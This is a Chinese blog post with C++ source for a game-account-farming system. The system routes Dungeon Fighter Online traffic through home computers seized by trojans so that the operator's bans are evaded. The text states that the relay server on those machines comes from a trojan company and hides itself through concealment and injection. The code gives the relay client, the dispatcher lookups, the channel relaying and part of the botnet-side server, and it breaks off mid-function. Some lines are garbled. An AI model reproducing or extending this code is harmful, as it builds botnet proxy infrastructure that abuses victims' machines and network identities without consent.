socketref,再见!高德

https://github.com/adoggie

  C++博客 :: 首页 :: 联系 :: 聚合  :: 管理
  246 Posts :: 4 Stories :: 312 Comments :: 0 Trackbacks

常用链接

留言簿(54)

我参与的团队

搜索

  •  

最新评论

阅读排行榜

评论排行榜



面临游戏运营商的封号风险,原先游戏直连游戏服务器的方式将无法使用,必须提供其他的方式解决IP重复使用导致被封号风险。
新增了LSP,RdFront,RdServer模块,当然真正的系统还有其他子系统组成。
GtrClient接到做单请求之后启动,初始化lsp接口,启动dnf游戏,截获dnf发起的tcp请求转向到Rdfront进程(DNF登录采用udp,进入游戏采用tcp)。Rdfront通过调度找到全国ip上的某一台木马绑架的肉鸡,当然 肉鸡上已经捆绑了RdServer,Rdserver由木马公司合作完成,进程采用多种技术隐藏、注入等技术潜伏在用户主机,伺机为GTR系统 服务。
RdFront连接上RdServer之后再连接到Tencent服务器,实现Tcp的Redirection。
肉鸡的IP才是需要关注的。

部分代码:
rdfront.h
 1 
 2 #ifndef _RD_FRONT_H
 3 #define  _RD_FRONT_H
 4 
 5 #include "../common/rdserverbase.h"
 6 #include <IceUtil/IceUtil.h>
 7 #include <Ice/Ice.h>     
 8 #include <redirect.h>
 9 
10 
11 
12 class RdFront:public RedirectServerBase{ //,public swlib::Thread{
13 public:
14     RdFront();
15     void threadEntry(swlib::Thread* t);
16     bool start(const std::string&);
17     bool doSelect();
18     static void threadRdserverConn(swlib::Thread* t,void* user);
19     shared_ptr<swlib::SocketAddr> getRdserverAddr(); 
20     void getRdserverAddrList();
21     
22     int mainloop();
23     static shared_ptr<RdFront>& instance();
24     shared_ptr<RedirectAddress_t>    getRedirectAddress();    
25     
26     bool prepareWorkSheet(const rd::RdWorkSheetT& worksheet,int to); //开始游戏交易
27     void endWorkSheet();                //结束游戏交易
28     
29 private:
30     void doChannelMessage(shared_ptr<ConnectionMessageBase>& msg);
31     void doConnectiontMessage(shared_ptr<ConnectionMessageBase>&msg);
32     
33     void run();
34     static void threadRpcEntry(swlib::Thread* t,void*u);
35     static void threadLspEntry(swlib::Thread* t,void*u);
36     bool initRpc();
37     void  recieveMessage();
38     
39     void connectedRdServer(const rd::RdServerInfoT& server);
40     void disconnectedRdServer(const rd::RdServerInfoT& server);
41     
42 private:
43     std::vector<shared_ptr<swlib::TcpSocket> > _sockIncomings; //游戏连接进入
44 
45     bool    _connRdserver_corrupt;
46     swlib::TcpSocket _sock_rdserver;            //外发连接
47     swlib::Mutex _mtx_rdserverconn;
48 
49     shared_ptr<swlib::Thread>        _trRdserver;
50     
51 
52     //std::list< shared_ptr<ConnectionMessageBase> > _msglist_incoming; // rdserver接收的消息包
53     swlib::Condition _cond_msg_incoming;
54     swlib::Mutex    _mtx_msg_incoming;
55     MessageQueue    _mq_incoming;
56 
57     std::list< shared_ptr<ConnectionMessageBase> > _msglist_outgoing; //准备发送给rdserver的消息队列
58     swlib::Condition _cond_msg_outgoing;
59     swlib::Mutex    _mtx_msg_outgoing;
60 
61     bool    _serverRunning;
62 
63     std::vector<RedirectChannelID_t> _closedChannels;    //已经关闭的通道
64     std::vector<RedirectChannelID_t>    _halfclosedChannels;//半关闭
65 
66     std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> > _channelsocks;
67 
68     shared_ptr<swlib::Thread> _threadOutgoning;             
69     
70     rd::IRdDispatcherPrx _dispPrx;
71     Ice::CommunicatorPtr _communicator;
72     
73     shared_ptr<swlib::Thread> _rpcThread;    //
74     rd::RdWorkSheetT _worksheet;    //当前作业任务
75     
76     swlib::Mutex _mtx_servers;
77     //std::vector<swlib::SocketAddr> _rdserverlist;  //服务器地址
78     rd::RdServerInfoListT _rdserverlist;
79     
80     
81     swlib::Mutex _mtx_nextaddr;    //需要转向的目标服务器地址
82     std::deque<swlib::SocketAddr> _nextaddrlist;
83     shared_ptr<swlib::Thread> _lspThread;
84     
85     bool _connection_auth_passed ;
86     rd::RdWorkSheetT _currSheet;        //当前游戏交易单信息
87 };
88 
89 
90 
91 #endif

RdFront.cpp
  1 // rdfront.cpp : Defines the entry point for the console application.
  2 //
  3 
  4 #include "stdafx.h"
  5 #include "../common/codec.h"
  6 #include "rdfront.h"
  7 #include "rpcFront.h"
  8 #include "lsp.h"
  9 
 10 
 11 
 12 //get from dispatcher
 13 shared_ptr<swlib::SocketAddr> RdFront::getRdserverAddr(){
 14     shared_ptr<swlib::SocketAddr> addr;
 15     
 16     rd::RdFrontInfoT front;
 17     try{
 18         rd::RdServerInfoListT addrlist = _dispPrx->getBastRdServers(_worksheet.areaName,1,front);
 19         if(addrlist.size()){
 20             rd::RdServerInfoT server = addrlist[0];
 21             addr = new swlib::SocketAddr;
 22             addr->set_host(server.ip.c_str());
 23             addr->set_port((swUInt16)server.port);
 24         }
 25     }catch(const std::exception& e){
 26         getLogger().Debug(e.what());
 27     }
 28     return addr;
 29 }
 30 
 31 
 32 void RdFront::getRdserverAddrList(){
 33     _rdserverlist.clear();
 34     rd::RdFrontInfoT front;
 35     try{
 36         rd::RdServerInfoListT addrlist = _dispPrx->getBastRdServers(_worksheet.areaName,3,front);
 37         for(size_t n=0;n<addrlist.size();n++){
 38             rd::RdServerInfoT server = addrlist[0];
 39             swlib::SocketAddr addr ;
 40             addr.set_host(server.ip.c_str());
 41             addr.set_port((swUInt16)server.port);
 42             //_rdserverlist.push_back(addr);
 43             getLogger().Debug("get rdserver:%s",addr.toString().c_str());
 44         }
 45         _rdserverlist = addrlist;
 46     
 47     }catch(const std::exception& e){
 48         getLogger().Debug(e.what());
 49     }
 50  
 51     
 52 }
 53 
 54 /*
 55 sockRdserver断开必须关闭与客户的socket,因为客户的数据可能有部分通过sockRdserver发送了,导致不完整
 56 */
 57 bool RdFront::doSelect(){
 58     
 59     if( _connRdserver_corrupt ){
 60         getLogger().Debug("Prepare Contact Rdserver");
 61         swlib::ScopeLocker l1(_mtx_socks);    
 62         _sock_rdserver.create();
 63         _socks.clear();        //删除所有客户连接 
 64         Sleep(1000*2);
 65         while( _serverRunning){
 66 //             getLogger().Debug("get Rdserver from Dispatcher..");
 67 //             shared_ptr<swlib::SocketAddr> addrserver = getRdserverAddr();
 68 //             if(!addrserver.get()){
 69 //                 getLogger().Debug("Have no Rdserver can be served! Wait for senconds");
 70 //                 Sleep(1000*5);//
 71 //                 continue;
 72 //             }
 73 //             getLogger().Debug("ready to connect rdserver:%s",addrserver->toString().c_str());
 74 //             if(!_sock_rdserver.do_connect(*addrserver.get())){         //需要修改成超时链接
 75 //                 Sleep(1000*5); //连接rdserver失败
 76 //                 continue;
 77 //             }
 78             bool connected = false;
 79             _connection_auth_passed = false;
 80             //std::vector<swlib::SocketAddr> rdservers;
 81             rd::RdServerInfoListT rdservers;
 82             
 83             {
 84                 swlib::ScopeLocker ll(_mtx_servers);
 85                 rdservers = _rdserverlist;
 86             }
 87             for(size_t n=0;n<rdservers.size();n++){
 88                 //getLogger().Debug("attempt to connect server:%s",rdservers[n].toString().c_str());
 89                 getLogger().Debug("attempt to connect server:%s",rdservers[n].ip.c_str());
 90                 swlib::SocketAddr addr;
 91                 addr.set_host(rdservers[n].ip.c_str());
 92                 addr.set_nport((swUInt16)rdservers[n].port);
 93                 connected = _sock_rdserver.do_connect(addr,5); //
 94                 if(connected){
 95                     //report to dispacher
 96                     rd::RdServerInfoT* server = new rd::RdServerInfoT;
 97                     *server = rdservers[n];
 98                     _sock_rdserver.setData(1000,server);
 99                     connectedRdServer(*server);
100                     break;
101                 }
102             }
103             if!connected){
104                 Sleep(100*2);  //尽量小,保证prepareWorkSheet()的及时反应 
105                 continue;
106             }
107             getLogger().Debug("connected to server ,next");
108             _connRdserver_corrupt = false;
109             swlib::ScopeLocker l(_mtx_msg_incoming);
110             _mq_incoming.reset();
111 
112             return true;
113         }
114     }
115 //     if(_connection_auth_passed == false){
116 //         Sleep(200);
117 //         return true;
118 //     }
119     if!_serverRunning){
120         getLogger().Debug("serverRuning is false ,break!");
121         return false;
122     }
123     //////////////////////////////////////////////////////////////////////////
124     shared_ptr<swlib::TcpSocket> readsock;
125     //////////////////////////////////////////////////////////////////////////
126     std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> >::iterator itr;
127     std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> > socks;
128     {
129         swlib::ScopeLocker l1(_mtx_socks);    
130         for(size_t n=0;n<_closedChannels.size();n++){
131             itr = _socks.find(_closedChannels[n]);
132             if(itr!=_socks.end()){
133                 readsock = itr->second;
134                 MessageQueue* mq = (MessageQueue*)readsock->data(stt_BUFFER);
135                 delete mq;        //删除缓冲队列
136                 _socks.erase(itr);
137                 getLogger().Debug("clear one Incoming Sock client");
138             }        
139         }
140         _closedChannels.clear();
141         
142 //         for(int n=0;n<_halfclosedChannels.size();n++){
143 //             itr = _socks.find(_halfclosedChannels[n]);
144 //             if(itr!=_socks.end()){
145 //                 readsock = itr->second;
146 //                 MessageQueue* mq = (MessageQueue*)readsock->data(stt_BUFFER);
147 //                 delete mq;        //删除缓冲队列
148 //                 _socks.erase(itr);
149 //             }        
150 //         }
151         _halfclosedChannels.clear();
152         socks = _socks;
153     }
154     //////////////////////////////////////////////////////////////////////////
155     
156     {
157         //swlib::ScopeLocker l(_mtx_select);
158         fd_set  fds;
159         FD_ZERO(&fds);
160         
161         for(itr=_socks.begin();itr!=_socks.end();itr++){
162             swBool enable = (swBool)itr->second->data(stt_ENABLED);
163             if(enable == swTrue){
164                 FD_SET(itr->second->get_handle(),&fds);            
165             }
166         }
167         
168         FD_SET(_sock_rdserver.get_handle(),&fds);
169         FD_SET(_listensock->get_handle(),&fds);
170         timeval tv;
171         tv.tv_sec = 0;
172         tv.tv_usec =1000*200;
173         int r = select(0,&fds,NULL,NULL,&tv);
174         if( r ==0){    // timeout
175         //    getLogger().Debug("select timeout,no data traverse");
176             return true;
177         }
178         if( r<0){ // exception     非可用socket参与了select
179             //Sleep(500);     //套接字被显式的关闭,然后又参与了select
180             getLogger().Error("select socket error! breaking");
181             return false;
182         }
183         //////////////////////////////////////////////////////////////////////////
184         //游戏进程连接进入
185         if( FD_ISSET(_listensock->get_handle(), &fds) ){ //新连接到达
186             swlib::TcpSocket * insock = _listensock->accept();
187             if(insock){
188                 getLogger().Debug("Incoming Client:%s",insock->get_addr().toString().c_str());
189                 insock->setData((void*)INCOMING_SOCKET);
190                 RedirectChannelID_t cid;
191                 cid = newChannelID();
192                 insock->setData(stt_CHANNELID,(void*)cid);
193                 insock->setData(stt_ENABLED,(void*)swFalse); // 
194                 insock->setData(stt_CLOSED,(void*)swFalse);
195                 insock->setData(stt_BUFFER,(void*)new MessageQueue());
196                 //insock->setData(stt_MSGQUEUE_BACK,(void*)new std::list<shared_ptr<ConnectionMessageBase> >());
197                 
198                 //
199                 shared_ptr<RedirectAddress_t> raddr = getRedirectAddress();
200                 if(raddr.get()){    // 发送通道打开请求
201                     shared_ptr<CM_ConnectOpen_t> msg(new CM_ConnectOpen_t);
202                     getLogger().Debug("Next Destination Address:%s",raddr->toString().c_str());
203                     msg->addr = raddr->get_naddr();
204                     msg->port = raddr->get_port();
205                     msg->timeout = 5//5秒超时
206                     msg->cid = cid;
207                     swlib::ScopeLocker l2(_mtx_msg_outgoing);
208                     _msglist_outgoing.push_back(msg);
209                     _cond_msg_outgoing.set();
210                     swlib::ScopeLocker l1(_mtx_socks);    
211                     _socks[cid] = shared_ptr<swlib::TcpSocket>(insock);
212                     //getLogger().Debug("made channel Open request into sending queue ");
213                 }                
214             }
215         }
216         //////////////////////////////////////////////////////////////////////////
217         //检测游戏进程发送的数据
218         swByteArray bytes;
219         bytes.resize(1024*6);
220         int size;
221         
222         for(itr=socks.begin();itr!=socks.end();itr++){
223             if( FD_ISSET(itr->second->get_handle(),&fds)){
224                 readsock = itr->second;
225                 //////////////////////////////////////////////////////////////////////////
226                 size = readsock->read((char*)&bytes[0],bytes.size());
227                 if( size <= 0){
228                     RedirectChannelID_t cid = (RedirectChannelID_t)readsock->data(stt_CHANNELID);
229                     swlib::ScopeLocker l1(_mtx_socks);    
230                     _closedChannels.push_back(cid);
231                     shared_ptr<ChannelMessageBase> msgclose = new ChannelMessageBase(CM_CONNECT_CLOSE);
232                     msgclose->cid = cid;
233                     swlib::ScopeLocker l2(_mtx_msg_outgoing);
234                     _msglist_outgoing.push_back(msgclose);
235                     getLogger().Debug("Incoming Client Sock lost:%s,push into Erase queue",readsock->get_addr().toString().c_str());
236                 }else{
237                     MessageQueue *mq= (MessageQueue*)readsock->data(stt_BUFFER);
238                     swBool ok = (swBool)readsock->data(stt_ENABLED) ;
239                     if(ok == swFalse){ //未得到服务器应答要缓冲数据                        
240                         mq->queueIn((char*)&bytes[0],size);    
241                         getLogger().Debug("client sock havn't got Accept answer,so recved data will be cached into socket's message-queue");
242                     }else{
243                         mq->getBuffer().insert(mq->getBuffer().end(),bytes.begin(),bytes.begin()+size);                        
244                         CM_StreamData* stream = new CM_StreamData;
245                         stream->cid = (swInt32) readsock->data(stt_CHANNELID);
246                         stream->data = mq->getBuffer();
247                         shared_ptr<ConnectionMessageBase> msg(stream);                        
248                         swlib::ScopeLocker l2(_mtx_msg_outgoing);
249                         _msglist_outgoing.push_back(msg);
250                         mq->reset();
251                         getLogger().Debug("client sock incoming data will be queue into sending buffer for sending to Rdserver!");
252                     }
253                 }
254             }
255         }    // -- end for
256         //////////////////////////////////////////////////////////////////////////
257         if( FD_ISSET(_sock_rdserver.get_handle(), &fds) ){ 
258             size = _sock_rdserver.read((char*)&bytes[0],bytes.size());
259             if( size <= 0){
260                 _connRdserver_corrupt = true;
261                 getLogger().Debug("Rdserver lost connection!");
262                 rd::RdServerInfoT* server=NULL;
263                 server =(rd::RdServerInfoT*)_sock_rdserver.data(1000);
264                 disconnectedRdServer(*server);
265                 delete server;
266                 return true;
267             }else{
268                 getLogger().Debug("data recved from rdserver will be queue into backing buffer");
269                 swlib::ScopeLocker l(_mtx_msg_incoming);
270                 _mq_incoming.queueIn((char*)&bytes[0],size);
271                 _cond_msg_incoming.set();
272             }
273         }
274         //////////////////////////////////////////////////////////////////////////
275     }
276     recieveMessage();
277     return true;
278 }
279 
280 void RdFront::doChannelMessage(shared_ptr<ConnectionMessageBase>& msg){
281     
282     ChannelMessageBase* cm = (ChannelMessageBase*)msg.get();
283     RedirectChannelID_t channelId;
284     channelId = cm->cid;
285     CM_StreamData* stream = (CM_StreamData*)cm;
286     shared_ptr<swlib::TcpSocket> client;
287     getLogger().Debug("Channel Message:%d",msg->cnmid);
288     if(1){
289         swlib::ScopeLocker l1(_mtx_socks);
290         std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> >::iterator itr;
291         itr = _socks.find(channelId);
292         if(itr!=_socks.end()){
293             client = itr->second;
294         }
295     }
296     //////////////////////////////////////////////////////////////////////////
297     if!client.get()){
298         return;
299     }
300     //std::list<shared_ptr<ConnectionMessageBase> >* queue = (std::list<shared_ptr<ConnectionMessageBase> >*)client->data(stt_MSGQUEUE_BACK);
301     
302     if( cm->cmid == CM_CONNECT_CLOSE ||cm->cmid == CM_CONNECT_REJECT || cm->cmid == CM_CONNECT_HALFCLOSE){
303         swlib::ScopeLocker l1(_mtx_socks);    
304         getLogger().Debug("Channel Reject/Close/HalfClose:%d",cm->cid);
305         client->setData(stt_CLOSED,(void*)swTrue);
306         _closedChannels.push_back(channelId);
307     }else if(cm->cmid == CM_STREAM_DATA){    
308         getLogger().Debug("<< CM_STREAM_DATA %d incoming(%d bytes)",cm->cid,stream->data.size());
309         client->write((char*)&stream->data[0],stream->data.size());        
310 //     }else if(cm->cmid == CM_CONNECT_HALFCLOSE ){
311 //         swlib::ScopeLocker l1(_mtx_socks);    
312 //         _halfclosedChannels.push_back(channelId);
313     }else if(cm->cmid == CM_CONNECT_ACCEPT){
314          client->setData(stt_ENABLED,(void*)swTrue);
315          getLogger().Debug("Channel Accept %d",cm->cid);
316         
317     }
318 }
319 
320 void RdFront::doConnectiontMessage(shared_ptr<ConnectionMessageBase>&msg_){
321     //服务器发送greet消息
322     if(msg_->cnmid == CNM_HELO){
323         CNM_Helo_t* msg = (CNM_Helo_t*)msg_.get();
324         std::string key = getConfig().getProperty("secureKey");
325         swByteArray data;
326         data.assign( (swByte*)msg->helo.c_str(),(swByte*)(msg->helo.c_str()+msg->helo.size()) );
327         data.insert(data.end(),(swByte*)key.c_str(),(swByte*)(key.c_str()+key.size()));
328         swByteArray digest = swlib::Codec::Md5Calc(&data[0],data.size());
329         
330         CNM_Auth_t auth;
331         //auth.secureKey = digest;
332         memcpy(auth.secureKey,&digest[0],16);
333         getLogger().Debug("get CNM_HELO from rdServer");
334         data = auth.final();
335         _sock_rdserver.write((char*)&data[0],data.size());
336         getLogger().Debug("send Auth Message");
337 
338     }else if(msg_->cnmid == CNM_ACCEPT){
339         getLogger().Debug("<<CNM_ACCEPT");
340         _connection_auth_passed = true;
341     }else if(msg_->cnmid ==CNM_REJECT){
342          _connRdserver_corrupt = true;
343         getLogger().Debug("<< CNM_REJECT");
344     }else if(msg_->cnmid ==CNM_HEARTBEAT){
345         getLogger().Debug("<< CNM_HEARTBEAT");
346     }
347 }
348 
349 void RdFront::recieveMessage(){
350     while(true){
351         shared_ptr<ConnectionMessageBase> msg;
352         if(!_mq_incoming.getMessage(msg)){
353             _connRdserver_corrupt = true;        
354             _mq_incoming.reset();
355             getLogger().Debug("dirty connection data, invalid rdServer connection!");
356             break;
357         }
358         if!msg.get()){ //没有消息包
359             getLogger().Debug("incoming queue from rdserver is empty!");
360             break;
361         }
362         if( msg->cnmid ==  CNM_CHANNEL){
363             doChannelMessage(msg);
364         }else{
365             doConnectiontMessage(msg);
366         }
367     }
368 }
369 
370 void RdFront::threadEntry(swlib::Thread* t){
371     return ;
372     //接收线程组,从rdserver进入的数据包
373     while(t->loop()){
374         //_cond_msg_incoming.wait(20);
375         {
376             if(!t->loop()){
377                 break;
378             }
379             //////////////////////////////////////////////////////////////////////////
380             shared_ptr<ConnectionMessageBase> msg;
381             {
382                 swlib::ScopeLocker l(_mtx_msg_incoming);
383                 if(!_mq_incoming.getMessage(msg)){
384                     //数据包错误,关闭连接
385                     _connRdserver_corrupt = true;        
386                     _mq_incoming.reset();
387                     getLogger().Debug("dirty connection data, invalid rdServer connection!");
388                     continue;
389                 }
390             }
391             if!msg.get()){ //队列为空
392                  //_cond_msg_incoming.set(false);
393                  _cond_msg_incoming.wait(20);
394                  //getLogger().Debug("rdserver line have no message come in!");
395                  continue// 
396             }
397             getLogger().Debug("mq_incoming queue size:%d",_mq_incoming.getBuffer().size());
398             //////////////////////////////////////////////////////////////////////////
399             if( msg->cnmid ==  CNM_CHANNEL){
400                 doChannelMessage(msg);
401             }else{
402                 doConnectiontMessage(msg);
403             }
404             
405             //_cond_msg_incoming.set(false);
406         }
407     }// end while
408 }
409 
410 //发送线程
411 void RdFront::threadRdserverConn(swlib::Thread* t,void* user){
412     RdFront* server = (RdFront*)user;
413     while(t->loop()){
414         server->_cond_msg_outgoing.wait(200);
415         {
416             if(!t->loop()){
417                 break;
418             }
419             while(t->loop()){
420                 shared_ptr<ConnectionMessageBase> msg;
421                 {
422                     swlib::ScopeLocker l(server->_mtx_msg_outgoing);                 
423                     if( server->_msglist_outgoing.size()){                    
424                         msg = server->_msglist_outgoing.front();
425                         server->_msglist_outgoing.pop_front();
426                     }
427                 }
428                 if(!msg.get()){
429                     break;
430                 }
431                 swByteArray bytes = msg->final();
432                 server->getLogger().Debug("send data to rdSever");
433                 int sent = server->_sock_rdserver.write((char*)&bytes[0],bytes.size());
434                 if(sent == -1){ // lost connection with rdserver
435                      swlib::ScopeLocker l(server->_mtx_msg_outgoing);        
436                      server->_msglist_outgoing.clear();
437                      server->_connRdserver_corrupt = true;
438                      break;
439                 }
440             }//-- end while
441             server->_cond_msg_outgoing.set(false); //下一次需要阻塞了
442         }
443     }// end while
444 }
445 
446 bool RdFront::start(const std::string& confile){
447     swlib::Socket::initSocket();
448     _connection_auth_passed = false;
449     if(!RedirectServerBase::start(confile)){
450         printf("rdFront::start() failed!\n");
451         return false;
452     }
453     _tgConnect.create(_props.connthreadnum,RedirectServerBase::multiThreadEntry,(void*)this);
454 //     swlib::SocketAddr addr ;//= getRedirectAddress();
455 //     addr.set_host("127.0.0.1"); // for python gameserver.py
456 //     addr.set_port(12009);
457 //     swlib::TcpSocket tsock;
458 //     tsock.create();
459 //     tsock.do_connect(addr);
460     
461     //Init Ice Enviroment
462     //////////////////////////////////////////////////////////////////////////
463     int argc;
464     //char* argv[]={"this","--Ice.Config=userver.ice.conf"};
465     char* argv[]={"this","--Ice.Config=rdfront.conf"};
466     argc = 2;
467     std::string prxstr = getConfig().getProperty("dispatcher");
468 //     _communicator = Ice::initialize(argc,argv);
469 //     _dispPrx = rd::IRdDispatcherPrx::uncheckedCast(_communicator->stringToProxy(prxstr));
470 // 
471 //     Ice::ObjectAdapterPtr adapter =_communicator->createObjectAdapter("rdfront");
472 //     adapter->add( IRdFrontServant::instance() , _communicator->stringToIdentity("rdfront"));
473 //     adapter->activate();
474     //////////////////////////////////////////////////////////////////////////
475     _threadOutgoning = new swlib::Thread(RdFront::threadRdserverConn,this);
476     _threadOutgoning->start();
477     _connRdserver_corrupt = true;
478     //////////////////////////////////////////////////////////////////////////
479     _rpcThread= new swlib::Thread(RdFront::threadRpcEntry,this);
480     _rpcThread->start();
481     //_rpcThread= new swlib::Thread(RdFront::threadRpcEntry,this);
482     //_rpcThread->start();
483     _lspThread= new swlib::Thread(RdFront::threadLspEntry,this);
484     _lspThread->start();
485     return true;
486 }
487 
488 int RdFront::mainloop(){
489     _serverRunning = true;
490     while(true){
491         if(!doSelect()){
492             break;
493         }
494     }
495     printf("do select break\n");
496     return 0;
497 }
498 
499 //获取游戏进程向外的链接
500 //这里有点搞脑子
501 shared_ptr<RedirectAddress_t>    RdFront::getRedirectAddress(){
502     shared_ptr<RedirectAddress_t> addr;
503     swlib::ScopeLocker l(_mtx_nextaddr);
504     if( _nextaddrlist.size()){
505         addr = new RedirectAddress_t;
506         *addr = _nextaddrlist.front();
507         _nextaddrlist.pop_front();
508     }
509     
510 //     addr->set_host("192.168.14.3"); // for python gameserver.py
511 //     addr->set_port(12009);
512     return addr;
513 }             
514 
515 RdFront::RdFront(){
516     _logfilename = "rdfront.log";
517 }
518 
519 shared_ptr<RdFront>& RdFront::instance(){
520     static shared_ptr<RdFront> server;
521     if(!server.get()){
522         server = new RdFront;
523     }
524     return server;
525 }
526 
527 //lsp 同步线程
528 void  RdFront::run(){
529     swlib::ScopeLocker l(_mtx_servers);
530     _rdserverlist.clear();
531     _connRdserver_corrupt = true;
532 }
533 
534 //开始游戏准备
535 bool RdFront::prepareWorkSheet(const rd::RdWorkSheetT& worksheet,int to){
536     swlib::ScopeLocker ll(_mtx_nextaddr);
537     _nextaddrlist.clear();
538     
539     swlib::ScopeLocker l(_mtx_servers);
540     getLogger().Debug("prepareWorkSheet:%s-%s",worksheet.tradeNo.c_str(),worksheet.areaName.c_str());
541     getRdserverAddrList();
542     if( _rdserverlist.size() == 0){
543         getLogger().Debug("no more idle rdserver !");
544         return false;
545     }
546     getLogger().Debug("got %d rdservers",_rdserverlist.size());
547     {
548         size_t n;
549         for(n=0;n<_rdserverlist.size();n++){
550             getLogger().Debug("%d. rdserver = %s",n,_rdserverlist[n].ip.c_str());
551         }
552     }
553     _connRdserver_corrupt = true;
554     _currSheet = worksheet;
555     
556 
557     return true;
558 }
559 
560 void RdFront::endWorkSheet(){
561     getLogger().Debug("endWorkSheet()");
562     swlib::ScopeLocker l(_mtx_nextaddr);
563     _nextaddrlist.clear();
564     _connRdserver_corrupt = true;  //复位连接
565 }
566 
567 bool RdFront::initRpc(){
568     int argc;
569     //char* argv[]={"this","--Ice.Config=userver.ice.conf"};
570     char* argv[]={"this","--Ice.Config=rdfront.conf"};
571     argc = 2;
572     std::string prxstr = getConfig().getProperty("dispatcher");
573     _communicator = Ice::initialize(argc,argv);
574     _dispPrx = rd::IRdDispatcherPrx::uncheckedCast(_communicator->stringToProxy(prxstr));
575 
576     Ice::ObjectAdapterPtr adapter =_communicator->createObjectAdapter("rdfront");
577     adapter->add( IRdFrontServant::instance() , _communicator->stringToIdentity("rdfront"));
578     adapter->activate();
579     _communicator->waitForShutdown();
580     return true;
581 }
582 
583 void RdFront::threadRpcEntry(swlib::Thread* t,void*u){
584     RdFront * server = (RdFront*)u;
585     
586     
587     
588     server->getLogger().Debug("Rpc service Ready");
589     //server->_communicator->waitForShutdown();
590     server->initRpc();
591 }
592 
593 void RdFront::threadLspEntry(swlib::Thread* t,void*u){
594     RdFront* server = (RdFront*)u;
595      char* geventName1="Global\\{8b4a1f95-3f13-4b50-b53f-a94ad165c2b2}";
596      char* geventName2="Global\\{dd16ab23-8f4e-43d1-bfcb-750a2b35922e}";
597 //    char* geventName1="Global{8b4a1f95-3f13-4b50-b53f-a94ad165c2b2}";
598 //    char* geventName2="Global{dd16ab23-8f4e-43d1-bfcb-750a2b35922e}";
599 
600     HANDLE event1 = ::CreateEvent(NULL, TRUE, FALSE, geventName1);
601     HANDLE event2 = ::CreateEvent(NULL, TRUE, FALSE, geventName2);
602 
603 //    int r;
604     swUInt32 naddr;
605     swUInt16 nport;
606     while(t->loop()){
607         //r = waitRedirectDestination(&naddr,&nport);
608         if( WaitForSingleObject(event2,1000*2==WAIT_TIMEOUT){
609             continue;
610         }
611         ResetEvent(event2);
612         
613         //if(r==0){
614         waitRedirectDestination(&naddr,&nport);
615         swlib::SocketAddr saddr;
616         saddr.set_naddr(naddr);
617         saddr.set_nport(nport);
618         swlib::ScopeLocker l(server->_mtx_nextaddr);
619         server->_nextaddrlist.push_back(saddr);
620         server->getLogger().Debug(" Got Connect Redirect Address:%s,push it into queue..",saddr.toString().c_str());
621         //}
622         SetEvent(event1);    
623     }
624 }
625 //////////////////////////////////////////////////////////////////////////
626 void RdFront::connectedRdServer(const rd::RdServerInfoT& server){
627     rd::RdFrontInfoT front;
628     try{
629         _dispPrx->connectedRdServer(front,server,_currSheet);
630     }catch(const std::exception& e){
631         getLogger().Debug(e.what());
632     }
633 }
634 
635 void RdFront::disconnectedRdServer(const rd::RdServerInfoT& server){
636     rd::RdFrontInfoT front;
637     try{
638         _dispPrx->disconnectedRdServer(front,server,_currSheet);
639     }catch(const std::exception& e){
640         getLogger().Debug(e.what());
641     }
642 }
643 
644 //////////////////////////////////////////////////////////////////////////
645 //////////////////////////////////////////////////////////////////////////
646 
647 struct Block{
648     char x[1024];
649 };
650 int _tmain(int argc, _TCHAR* argv[])
651 {
652     /*
653     for(int n=1;n<1000000;n++){
654         swlib::Handle<Block> i1 (new Block);
655         swlib::Handle<Block> i2 = i1;
656         i2 = new Block;
657         swlib::Handle<Block> i3 = i1;
658         i2 = i3;
659         i1 = i2;
660 
661     }    */
662     
663     RdFront::instance()->start("rdfront.conf");
664     
665     
666     RdFront::instance()->mainloop();    
667     return 0;
668 }
669 
670 
671 
672 

Rdserver.h
 1 
 2 #ifndef _RD_SERVER_H
 3 #define _RD_SERVER_H
 4 
 5 #include "../common/rd.h"
 6 #include "../common/rdserverbase.h"
 7 #include "rdconnection.h"
 8 
 9 typedef swUInt32 RdServerVersion_t;
10 
11 
12 struct RdServerProperties_t{
13     std::string secureKey;    
14     swUInt32    version;
15     swUInt32 netaddr;        //公网地址
16     swUInt16 listenport;
17     swUInt16 rptInterval;    //定时上报间隔
18     std::string mac;            //网卡地址
19     std::string hostname;
20     swlib::SocketAddr dispAddr;    //调度服务器地址
21     std::string strHelo;
22     
23 };
24 
25 class RdServer:public RedirectServerBase{
26 public:
27     RdServer();
28     RdServerProperties_t& getProps(){    return _props;}
29     bool start();
30     int mainloop();
31     void prepare();
32     CNM_SystemQueryResult getSystemInfo();
33     swUInt32 getPublicNetAddr();    //获取公网地址
34     void lostConnection(RedirectConnection*);    //连接丢失
35     swByteArray encrypt(swByteArray& data);  //加密数据包
36     swByteArray decrypt(swByteArray& data);        //解密数据报 
37     bool reachable(); //检测是否可连接
38     static void __threadUdpRecv(swlib::Thread* t,void* user);
39     void threadUdpRecv(swlib::Thread* t);
40     void removeConnection(const RedirectConnection* rc);
41     std::string makeHelo();
42     std::string getVendorId();
43     bool getDispatchServer(std::string&host,swUInt16& port);
44 private:
45     RdServerProperties_t    _props;
46     std::vector<RedirectConnection*> _connlist;
47     swlib::UdpSocket    _udpsock;
48     swlib::Mutex _mtx_cnn;
49     shared_ptr<swlib::Thread> _threadUdp;
50 };
51 
52 #define RD_MAKEVERSION(m1,m2,m3,m4) (m1<<24|m2<<16|m3<<8|m4) 
53 
54 #define RD_SERVERVERSION            RD_MAKEVERSION(0,1,0,1)
55 
56 #endif
57 
58 

RdServer.cpp
  1 // rdserver.cpp : Defines the entry point for the console application.
  2 //
  3 
  4 #include "stdafx.h"
  5 
  6 #include "rdserver.h"
  7 #include "../common/codec.h"
  8 #include <stdio.h>
  9 #include <algorithm>
 10 #include <Rpc.h>
 11 #pragma  comment(lib,"Rpcrt4.lib")
 12 
 13 static char *SystemVendor="Vendor:                    "// 20 char width
 14 static char* DISPSERVER="DISPSERVER:                              ";//30 CHAR WIDTH
 15 //static char* DISPSERVER="DISPSERVER:  www.g.com:7788                             ";//30 CHAR WIDTH
 16 
 17 RdServer::RdServer(){
 18     
 19 }
 20 
 21 std::string RdServer::getVendorId(){
 22     std::string id;
 23     id.assign(SystemVendor+7,20);
 24     return id;
 25 }
 26 
 27 bool  RdServer::getDispatchServer(std::string&host,swUInt16& port){
 28     std::string uri;
 29     port = 0;
 30     uri.assign(DISPSERVER+11,30);
 31     uri = swlib::strip(uri);
 32     std::string::size_type d;
 33     d = uri.find(':');
